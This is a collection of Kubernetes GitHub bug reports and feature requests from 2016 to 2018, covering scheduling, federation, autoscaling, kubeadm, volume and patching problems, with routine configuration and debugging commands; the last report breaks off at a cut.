<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : failed to fit in any node insufficient cpu scheduler and other  ---    is this a bug report or feature request?    choose one : bug  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:08:43z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :       name=\ ubuntu\  version=\ 14.04.1 lts, trusty tahr\  id=ubuntu id_like=debian pretty_name=\ ubuntu 14.04.1 lts\  version_id=\ 14.04\  home_url=\ http://www.ubuntu.com/\  support_url=\ http://help.ubuntu.com/\  bug_report_url=\ http://bugs.launchpad.net/ubuntu/\      -   kernel    e.g.  uname -a  :      linux prod-kube-master-01 3.13.0-36-generic  63-ubuntu smp wed sep 3 21:30:07 utc 2014 x86_64 x86_64 x86_64 gnu/linux     -   install tools  :   only kubernetes componenet and docker   kubectl, kuberentesa-apiserver ,kubelet ,kube-scheduler  -   others  :    what happened  : rolling-update is not working. after checking kubectl events find out it is giving below error      9m        1d        107       xxxx-916abedbd8771c69102548f7167bf9b7-4snr0   pod                 warning   failedscheduling   {default-scheduler }   pod  xxx-916abedbd8771c69102548f7167bf9b7-4snr0  failed to fit in any node fit failure on node  prod-kube-minion-02 : insufficient cpu fit failure on node  prod-kube-minion-04 : insufficient cpu fit failure on node  prod-kube-minion-03 : insufficient cpu fit failure on node  prod-kube-minion-01 : insufficient cpu      it is not giving any information about usage in the above message  available and requested cpu  i have checked other things like memory and hard-disk anf there is no issue with them more then 80% of mem and cpu are free       name:           prod-kube-minion-04 labels:         beta.kubernetes.io/arch=amd64             beta.kubernetes.io/os=linux             kubernetes.io/hostname=prod-kube-minion-04 taints:         <none> creationtimestamp:  tue, 04 oct 2016 13:17:48 +0530 phase: conditions:   type          status  lastheartbeattime           lasttransitiontime          reason              message   ----          ------  -----------------           ------------------          ------              -------   outofdisk         false   mon, 17 oct 2016 10:59:22 +0530     tue, 04 oct 2016 13:42:52 +0530     kubelethassufficientdisk    kubelet has sufficient disk space available   memorypressure    false   mon, 17 oct 2016 10:59:22 +0530     tue, 04 oct 2016 13:17:48 +0530     kubelethassufficientmemory  kubelet has sufficient memory available   ready         true    mon, 17 oct 2016 10:59:22 +0530     tue, 04 oct 2016 13:42:52 +0530     kubeletready            kubelet is posting ready status addresses:      10.70.43.72,10.70.43.72 capacity:  alpha.kubernetes.io/nvidia-gpu:    0  cpu:                   8  memory:                32948064ki  pods:                  110 allocatable:  alpha.kubernetes.io/nvidia-gpu:    0  cpu:                   8  memory:                32948064ki  pods:                  110 system info:  machine id:            1567d6e82a6770a1b07ff67b5426933c  system uuid:           ec20081e-60cf-fc0d-a3fc-52d37b90a9ed  boot id:           61d04907-77b7-4106-b32e-dbad8ae48879  kernel version:        3.13.0-36-generic  os image:          ubuntu 14.04.1 lts  operating system:      linux  architecture:          amd64  container runtime version: docker://1.11.0  kubelet version:       v1.3.7  kube-proxy version:        v1.3.7 externalid:         prod-kube-minion-04 non-terminated pods:         11 in total    namespace         name                                    cpu requests    cpu limits  memory requests memory limits   ---------         ----                                    ------------    ----------  --------------- ------------- xxx xxx xxx allocated resources:    total limits may be over 100 percent, i.e., overcommitted. more info: http://releases.k8s.io/head/docs/user-guide/compute-resources.md    cpu requests  cpu limits  memory requests memory limits   ------------  ----------  --------------- -------------   4260m  53%    0  0%       15840mi  49%    15840mi  49%       every other node have free resource according to kubectl describe node and i am facing this issue with every other app as well i have brought a new node and rolling-update works fine so its not pod which is requesting more cpu then node have  this is the resource limit i have given to every app               resources:            limits:              memory: 1500mi            requests:              cpu: 420m      and i think it should give usage in error msg as well.    what you expected to happen  : i have expected it to deploy successfully as every node have sufficient cpu,disk and memory    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  : i have upgraded my kuberentes 2 weeks back to 1.3.7 so it may be problem in this version

at present there isn't any way to temporarily disable a replication controller. as a result attempting to manage pod counts outside of a replication controller can be infeasible. adding the ability to enable/disable a replication controller would pause / unpause the auto scale feature to the replication count. when paused pods can be manually created / deleted / moved around without interference from the replication controller.\r \r examples:\r \r - manually creating pods and adding them to a replication controller by having the pod use labels that will get picked up by the replication controller\r - taking existing pods and adding them to a replication controller by changing the pod labels\r - moving pods between replication controllers\r - any case in which a pod might be shared by two replication controllers\r - having pods available in a \ standby / hot\  mode that can be added to a rc by changing labels without the rc accidentally scaling them down\r \r in all of the above at present there is a contention between the replication controller trying to maintain a set number of pods and the user performing manual work. if a pod is added to a replication controller then the replication controller will see that there are too many pods and scale one down. if a pod is removed from a replication controller then the replication controller will see that there are not enough pods and create one. in both cases the replication count could be modified to reflect the true desired amount of pods but since removing a pod and changing the count cannot be done atomically there is a catch 22.\r \r by having the ability to temporarily disable replication controllers pods could be reshuffled while they are disabled and the controllers could be updated to reflect the new states before being re-enabled. \r

feature request:\r support k8s photon controller cloud provider running on authentication-enabled photon controller platform.\r \r the current implementation of photon controller cloud provider only supports running with a photon controller platform without authentication turned on. an update of photon controller cloud provider is required since authentication is by default set up for photon controller platform 1.2 release.\r \r upon the update, the cloud provider configuration file should include information about load balancer ip address, project id, and vm id. another file including login information should be created on the master nodes. this is a temporary solution before metadata service is available on photon controller platform.\r \r ideally the configuration file should be generated by photon controller platform when the cluster is started. the login file will be generated through kubernetes secret object and a handling pod started by the users. the above solutions will be available by photon controller 1.2 release.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : federation, deployment, replace\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gcp/gke\r \r   what happened  :\r with a three cluster federation and a deployment with 16 replicas, replacing the deployment using\r  kubectl replace -f deployment.yaml  \r results in all the updated pods going to one cluster rather than being evenly distributed.\r \r   what you expected to happen  :\r the pods should be evenly distributed  especially given the fact that they were correct before the replace operation \r \r   how to reproduce it    as minimally and precisely as possible :\r 1  create a deployment resource in the federation control plane  which is managing multiple underlying clusters \r 2  scale the deployment  mine is set to 16 . pods should then be evenly distributed, between 4-6 in each cluster\r 3  replace the deployment with an updated version  new image, etc.  using \r  kubectl replace -f deployment.yaml \r 4  watching the list of pods in each cluster, i see the pods starting to be replaced correctly, but at some point the newly updated running pods will all get terminated in two of the clusters and everything will be moved to the third cluster.\r \r   anything else we need to know  :\r \r full deployment spec:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: users\r spec:\r   replicas: 16\r   template:   create pods using pod definition in this template\r     metadata:\r       annotations:\r         federation.kubernetes.io/deployment-preferences: |\r           {\r             \ rebalance\ : true,\r             \ clusters\ : {\r               \ us-central\ : {\r                   \ minreplicas\ : 3\r               },\r               \ eu-west\ : {\r                   \ minreplicas\ : 3\r               },\r               \ asia-se\ : {\r                   \ minreplicas\ : 3\r               }\r             }\r           }\r       labels:\r         app: users\r     spec:\r       containers:\r         - name: users\r           image: gcr.io/myimage\r           ports:\r           - containerport: 8000\r           env:\r             - name: go_env\r               valuefrom:\r                 configmapkeyref:\r                   name: environment\r                   key: go_env\r             - name: redis_cluster\r               valuefrom:\r                 configmapkeyref:\r                   name: environment\r                   key: user_redis \r             - name: disable_redis\r               value: \ false\ \r           readinessprobe:\r             httpget:\r               path: /healthz\r               port: 8000\r             periodseconds: 1\r             timeoutseconds: 1\r             successthreshold: 1\r             failurethreshold: 10\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: users\r spec:\r   selector:\r     app: users\r   ports:\r     - protocol: tcp\r       port: 80\r       targetport: 8000\r   type: nodeport\r    \r \r despite the federation annotation that should require a minimum of 3 pods  and allow rebalancing  the state remains incorrect with no hosted pods in two of the clusters.\r \r if i scale the replicas down to zero using \r  kubectl scale --replicas 0 deployment users \r and wait long enough for all the user pods to be killed, then scale back up to 16, they will be correctly distributed between the three clusters. thusfar i've had to do this every time i update the image for the deployment.

google cloud kms should be available as an encryption provider using envelope encryption  kek-dek .\r \r documents on this feature:\r  a plan for kubernetes secrets  https://docs.google.com/document/d/1jawpuzg47uhfrvlof-lmw08ojztunw8pvtnxdk3rcf8/edit \r  encryption of secrets at the database layer  https://github.com/kubernetes/community/pull/607/files \r  implementing kms plugins  https://docs.google.com/document/d/19sbqlrsc_mpmxblcxasubrjlazxgqfw1keiwg3fhhlu/edit?usp=sharing \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r  \r   what happened  : when a pod fails to initialize due to lack of system resources, none of the conditions say anything about the reason the pod failed to initialize. instead, an event is emitted with a plain english description of the error. for manual  kubectl  execution, this description is fine. but for interaction programmatically, via something like  client-go , this seems fragile.\r \r   what you expected to happen  : as per the description on the  kubernetes/autoscaler faq  https://github.com/kubernetes/autoscaler/blob/master/cluster-autoscaler/faq.md :\r \r > a pod is unschedulable when the kubernetes scheduler is unable to find a node that can accommodate the pod. for example, a pod can request more cpu  than  is available on any of the cluster nodes. unschedulable pods are recognized by their podcondition. whenever a kubernetes scheduler fails to find a place to run a pod it sets \ schedulable\  podcondition to false and reason to \ unschedulable\ .\r \r basically, i was hoping for any kind of definitive error code or something in the pod's conditions that told me why the pod failed to start. this is important to me as i'm trying to define some custom scaling logic for when there aren't enough system resources.\r \r   how to reproduce it  as minimally and precisely as possible   :  in a relatively low-power kubernetes cluster  i used the default settings in gke , create a deployment as follows:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r     name: mult\r spec:\r     replicas: 100\r     template:\r         metadata:\r             labels:\r                 app: mult\r         spec:\r             containers:\r                 - name: mult\r                   image: gposcidonio/mult\r    \r \r feel free to use any image with high cpu usage  the one i listed there is an image i built that just multiplies two random numbers together over and over again . upon doing so, you will see that some of the created pods enter a  running  state, but most of them remain in  pending .\r \r issue a  kubectl describe pod  on one of the  pending  pods and you will see that the pod's conditions simply state:\r    \r conditions:\r   type          status\r   podscheduled  false\r    \r \r at the bottom, you will see an event that says something like:\r \r    \r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   24m           0s              89      default-scheduler                       warning         failedscheduling        no nodes are available that match all of the following predicates:: insufficient cpu  3 .\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : google container engine\r - os  e.g. from /etc/os-release : google container-optimized os\r

 \r a volume can escape attach detach contoller for various reasons. i.e - even though volume is attached to a node, volume may not be present in actual state of world of a/d controller.\r \r for example:\r \r 1. user started a pod  p  with pvc  vc  at time t1.\r 2. for some reason -  vc  was stuck in  waitforattach  call on controller for 1 hour.\r 3. in meanwhile user gives up and deletes the pod.\r 4. attach eventually succeeds but  waitforattach   already gave up after waiting for 30 minutes and hence this volume never gets added to actual state of world.\r  \r \r now this pvc can not be used again without manual intervention from an admin. there are in fact several cases that can cause this problem.\r \r i am thinking of doing opposite of mechanism proposed in https://github.com/kubernetes/kubernetes/pull/34859 issue. i am thinking that, we can periodically poll all pvcs and verify if their volumes are attached to nodes, then we can go ahead and add the volume in actual state of world of a/d controller. we will also update  node.status.attachedvolume  with same information.\r \r this will make sure, depending on whether volume indeed needs to be present in node  based on state in desired state of world , it could be detached properly.\r \r cc @kubernetes/sig-storage-api-reviews \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r the alpha version of preemption in 1.8 does not support poddisruptionbudget. supporting poddisruptionbudget is needed before we can move the feature to beta.\r \r  

 \r   what happened  :\r \r i was following the docs to try to set aws as my cloud provider. see this url:\r \r https://kubernetes.io/docs/getting-started-guides/scratch/ cloud-providers\r \r specifically:\r \r <img width=\ 429\  alt=\ screen shot 2018-01-26 at 5 10 57 pm\  src=\ https://user-images.githubusercontent.com/1686293/35465804-ec94683c-02bb-11e8-96aa-a4d16f2d36c6.png\ >\r \r however when you set --cloud-provider=aws in api server and restart kubelet, the api server does not come up.\r \r   what you expected to happen  :\r \r i expected the api server to function with this flag.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r take any api server in 1.9.2  have only tried this version . add this flag and restart it.\r \r   anything else we need to know?  :\r \r it appears based on multiple bugs and my testing that you moved this flag elsewhere  maybe kubelet?  and didn't update the docs.\r \r see also: \r \r - https://github.com/kubernetes/kubernetes/issues/49402\r - https://github.com/kubernetes/kubernetes/pull/53912\r - https://github.com/kubernetes/kubernetes/issues/55048\r \r   environment  :\r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r os: ubuntu 16.04\r \r installed with kubeadm.\r

hi guys\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i have installed the kubernetes. when i ran  kubeadm init , it doesn't work and show the following error:\r    \r  init  using kubernetes version: v1.10.1\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r          warning fileexisting-crictl : crictl not found in system path\r suggestion: go get github.com/kubernetes-incubator/cri-tools/cmd/crictl\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  srv42447.screweb.com kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 91.109.17.85 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  localhost  and ips  127.0.0.1 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  srv42447.screweb.com  and ips  91.109.17.85 \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r \r unfortunately, an error has occurred:\r         timed out waiting for the condition\r \r this error is likely caused by:\r         - the kubelet is not running\r         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r         - either there is no internet connection, or imagepullpolicy is set to \ never\ ,\r           so the kubelet cannot pull or find the following control plane images:\r                 - k8s.gcr.io/kube-apiserver-amd64:v1.10.1\r                 - k8s.gcr.io/kube-controller-manager-amd64:v1.10.1\r                 - k8s.gcr.io/kube-scheduler-amd64:v1.10.1\r                 - k8s.gcr.io/etcd-amd64:3.1.12  only if no external etcd endpoints are configured \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r         - 'systemctl status kubelet'\r         - 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r    \r \r   what you expected to happen  :\r it should initialize well and generate token.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r  disable swapp\r swapoff --all\r \r  install docker\r apt-get update\r apt-get install -y \\\r     apt-transport-https \\\r     ca-certificates \\\r     curl \\\r     software-properties-common\r curl -fssl https://download.docker.com/linux/ubuntu/gpg | apt-key add -\r add-apt-repository \\\r    \ deb https://download.docker.com/linux/$ . /etc/os-release; echo \ $id\   \\\r    $ lsb_release -cs  \\\r    stable\ \r apt-get update && apt-get install -y docker-ce=$ apt-cache madison docker-ce | grep 17.03 | head -1 | awk '{print $3}' \r \r  installing kubeadm, kubelet and kubectl\r apt-get update && apt-get install -y apt-transport-https\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet kubeadm kubectl\r \r  initializing master\r kubeadm init\r    \r \r   anything else we need to know?  :\r i have installed master kubernetes on some server that has same configuartion. it installed successfully sometime and sometime not!\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r - cloud provider or hardware configuration:  4gb of ram, 2 core of cpu \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :  linux srv42447.screweb.com 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u2  2017-06-26  x86_64 gnu/linux \r - install tools: \r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r hpa not working properly when pod status  unknown   node failure \r i confirmed in k8s  v1.10.3  that this problem has not been solved yet.\r \r   what you expected to happen  :\r hpa based on number of normal pods except  unknown  pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r test yaml\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test-nginx-autoscaling\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         name: test-nginx-autoscaling\r     spec:\r       containers:\r       - name: test-nginx-autoscaling\r         image: myrepo/test-nginx:stress\r         ports:\r         - containerport: 80\r         resources:\r           requests:\r             cpu: 500m\r             memory: 128mi\r ---\r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: test-nginx-autoscaling\r   labels:\r     name: test-nginx-autoscaling\r spec:\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: deployment\r     name: test-nginx-autoscaling\r   minreplicas: 2\r   maxreplicas: 4\r   targetcpuutilizationpercentage: 80\r    \r initial state\r    \r name                                          ready     status    restarts   age       ip              node\r po/test-nginx-autoscaling-6dcf47755f-kd64n    1/1       running   0          1m       10.244.144.43   worker-3\r po/test-nginx-autoscaling-6dcf47755f-x9vk4    1/1       running   0          1m       10.244.56.17    worker-1\r    \r \r intentionally caused a  worker-1  failure\r    \r name       status     roles     age       version\r master-1   ready      master    23d      v1.10.3\r master-2   ready      master    23d      v1.10.3\r master-3   ready      master    23d      v1.10.3\r worker-1   notready   <none>    23d      v1.10.3\r worker-2   ready      <none>    23d      v1.10.3\r worker-3   ready      <none>    23d      v1.10.3\r worker-4   ready      <none>    23d      v1.10.3\r worker-5   ready      <none>    23d      v1.10.3\r    \r \r the pod was created on the other node, and the  worker-1  pod was  unknown \r    \r name                                          ready     status    restarts   age       ip              node\r po/test-nginx-autoscaling-6dcf47755f-g8n55    1/1       running   0          21m       10.244.176.24   worker-2\r po/test-nginx-autoscaling-6dcf47755f-kd64n    1/1       running   0          14m       10.244.144.43   worker-3\r po/test-nginx-autoscaling-6dcf47755f-x9vk4    1/1       unknown   0          21m       10.244.56.17    worker-1\r    \r \r intentionally caused a cpu load on a particular pod.\r    \r  root@jumphost:/root  kubectl exec -it test-nginx-autoscaling-6dcf47755f-g8n55 bash\r root@test-nginx-autoscaling-6dcf47755f-g8n55:/  stress -c 1\r stress: info:  14  dispatching hogs: 1 cpu, 0 io, 0 vm, 0 hdd\r    \r \r the load continues, but there are not  3   running  pods.\r the  targets  is  100%/80% .\r \r    \r  root@jumphost:/root  kubectl get hpa,deploy,rs,po -owide\r \r name                          reference                            targets      minpods   maxpods   replicas   age\r hpa/test-nginx-autoscaling    deployment/test-nginx-autoscaling    100% / 80%   2         4         2          1h\r \r name                             desired   current   up-to-date   available   age       containers\r images                                    selector\r deploy/test-nginx-autoscaling    2         2         2            2           1h        test-nginx-autoscaling\r myrepo/test-nginx:stress   name=test-nginx-autoscaling\r \r \r name                                    desired   current   ready     age       containers                images\r                                   selector\r rs/test-nginx-autoscaling-6dcf47755f    2         2         2         1h        test-nginx-autoscaling    myrepo/test-nginx:stress   name=test-nginx-autoscaling,pod-template-hash=2879033119\r \r \r name                                          ready     status    restarts   age       ip              node\r po/test-nginx-autoscaling-6dcf47755f-g8n55    1/1       running   0          1h        10.244.176.24   worker-2\r po/test-nginx-autoscaling-6dcf47755f-kd64n    1/1       running   0          1h        10.244.144.43   worker-3\r po/test-nginx-autoscaling-6dcf47755f-x9vk4    1/1       unknown   0          1h        10.244.56.17    worker-1\r    \r \r the number of  available  pods does not include the  unknown  pod, the  hpa  logic seems to recognize the  unknown  pod as a normal pod.\r in addition, the  desired  of deployments does not increase to  3 .\r \r \r \r   anything else we need to know?  :\r if  unknown  pod is not generated under the same condition, it is scaled normally.\r    \r po/test-nginx2-autoscaling-775668f75f-6449z   1/1       running   0          1m        10.244.176.26   worker-2\r po/test-nginx2-autoscaling-775668f75f-sb48n   1/1       running   0          1m        10.244.144.8    worker-3\r    \r    \r  root@jumphost:/root kubectl exec -it test-nginx2-autoscaling-775668f75f-6449z bash\r root@test-nginx2-autoscaling-775668f75f-6449z:/  stress -c 1\r stress: info:  20  dispatching hogs: 1 cpu, 0 io, 0 vm, 0 hdd\r    \r    \r  root@jumphost:/root  kubectl get hpa,deploy,rs,po -owide\r name                          reference                            targets     minpods   maxpods   replicas   age\r hpa/test-nginx2-autoscaling   deployment/test-nginx2-autoscaling   66% / 80%   2         4         3          10m\r \r name                             desired   current   up-to-date   available   age       containers\r images                                    selector\r deploy/test-nginx2-autoscaling   3         3         3            3           10m        test-nginx2-autoscaling\r myrepo/test-nginx:stress   name=test-nginx2-autoscaling\r \r name                                    desired   current   ready     age       containers                images\r                                   selector\r rs/test-nginx2-autoscaling-775668f75f   3         3         3         10m        test-nginx2-autoscaling   myrepo/test-nginx:stress   name=test-nginx2-autoscaling,pod-template-hash=3312249319\r \r name                                          ready     status    restarts   age       ip              node\r po/test-nginx2-autoscaling-775668f75f-6449z   1/1       running   0          10m        10.244.176.26   worker-2\r po/test-nginx2-autoscaling-775668f75f-nb10mh   1/1       running   0          4m        10.244.80.48    worker-4\r po/test-nginx2-autoscaling-775668f75f-sb48n   1/1       running   0          10m        10.244.144.8    worker-3\r    \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r on-premise\r - os  e.g. from /etc/os-release :\r    \r centos linux release 7.3.1611  core \r    \r - kernel  e.g.  uname -a  :\r    \r 3.10.0-514.26.2.el7.x86_64\r    \r - install tools:\r kubeadm\r - others:\r docker 1.12.6\r \r

in 'pkg/apis/core/validation/validation.go', there is a limitation: if we deploy hugepage volume in pod.yaml, it will report the issue: 'hugepages require cpu or memory', and the deployment will be failed.\r my application is dpdk. and for a typical dpdk application, it only needs hugepages volume and cpu isolation.\r so can i remove the limitation of 'hugepages require cpu or memory' in pkg/apis/core/validation/validation.go ?\r \r also, if i follow the document of 'https://kubernetes.io/docs/tasks/manage-hugepages/scheduling-hugepages/', the deployment will be failed. it will report 'hugepages require cpu or memory'.\r if i add the cpu & memory resources for it, and it will be pass.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r created a statefulset with a container that had two ports, web-tcp  tcp, 80  and web-udp  udp, 80  then patched the  spec.template.spec.containers. .ports  without changing any values. this erased the web-tcp port and resulted in 2 copies of the web-udp port.\r \r   what you expected to happen  :\r nothing, i would expect the ports to remain unchanged  as they do if i use kubectl apply instead .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r cat <<eof >test-sts.yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: statefulset-test\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: \ nginx\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r           name: web-tcp\r         - containerport: 80\r           protocol: udp\r           name: web-udp\r eof\r \r kubectl create -f test-sts.yaml\r   at this point the ports match test-sts.yaml\r \r kubectl patch -f test-sts.yaml -p '{\ spec\ : {\ template\ : {\ spec\ : {\ containers\ :  {\ name\ : \ nginx\ , \ ports\ :  {\ containerport\ : 80, \ protocol\ : \ tcp\ , \ name\ : \ web-tcp\ }, {\ containerport\ : 80, \ protocol\ : \ udp\ , \ name\ : \ web-udp\ } } }}}}'\r   now the tcp port has been clobbered and the port list contains two copies of the web-udp port\r    \r \r   anything else we need to know?  :\r  this was initially filed in the ansible project against the k8s module  https://github.com/ansible/ansible/issues/40654 \r \r the ansible module uses the python client, which hits the rest api directly, so this is not an issue with kubectl.\r \r patching a deployment in the same way results in an error because duplicate ports are not allowed - i assume it is doing the same incorrect merge but then failing validation, which is better at least.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.1+a0ce1bc657\ , gitcommit:\ a0ce1bc\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t16:13:45z\ , 